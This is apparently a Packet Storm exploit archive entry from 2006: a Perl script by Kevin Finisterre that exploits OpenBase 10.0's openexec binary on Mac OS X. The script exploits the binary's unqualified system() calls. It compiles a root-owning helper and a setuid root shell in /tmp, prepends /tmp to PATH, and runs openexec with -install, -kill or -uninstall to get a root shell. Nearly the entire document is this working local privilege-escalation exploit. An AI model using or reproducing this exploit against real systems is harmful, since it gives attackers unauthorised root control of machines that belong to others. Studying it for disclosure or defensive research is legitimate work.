openexec_duh.pl.txt

2006-11-09T00:00:00
ID PACKETSTORM:51788
Type packetstorm
Reporter Kevin Finisterre
Modified 2006-11-09T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
#  
# http://www.digitalmunition.com  
# written by kf (kf_lists[at]digitalmunition[dot]com)   
#  
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?  
#  
# This is some fairly blatant and retarded use of system()  
#  
# cd cp chmod chown rm mkdir and killall appear as strings in the binary hrmm can you cay system() !   
# -restart -MachLaunch -launch -noexit -install_plugins -kill -install -uninstall and -deactivate all   
# *may* be used to trigger these issues.  
#  
# I don't feel like seeing which flags call which binaries... just 3 is plenty to prove the point.   
#  
# Tested against OpenBase10.0.0_MacOSX.dmg  
  
$binpath = "/Library/OpenBase/bin/openexec"; # Typical location.   
  
$tgts{"0"} = "cp:$binpath -install";  
$tgts{"1"} = "killall:$binpath -kill";  
$tgts{"2"} = "rm:$binpath -uninstall";  
  
unless (($target) = @ARGV) {  
print "\n\nUsage: $0 <target> \n\nTargets:\n\n";  
  
foreach $key (sort(keys %tgts)) {  
($a,$b) = split(/\:/,$tgts{"$key"});  
print "\t$key . $a - $b\n";  
}  
  
print "\n";  
exit 1;  
}  
  
$ret = pack("l", ($retval));  
($a,$b) = split(/\:/,$tgts{"$target"});  
print "*** Target: $a - $b\n";  
  
open(OP,">/tmp/finisterre.c");  
printf OP "main()\n";   
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"chown root: /tmp/pwns ; chmod 4775 /tmp/pwns\"); }\n";  
  
open(OP,">/tmp/pwns.c");  
printf OP "main()\n";   
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";  
  
system("gcc -o /tmp/finisterre /tmp/finisterre.c");   
system("gcc -o /tmp/pwns /tmp/pwns.c");   
  
system("echo /bin/cp /tmp/finisterre /tmp/$a");  
system("/bin/cp /tmp/finisterre /tmp/$a");  
  
system("export PATH=/tmp:\$PATH; $b");  
system("/tmp/pwns");  
  
`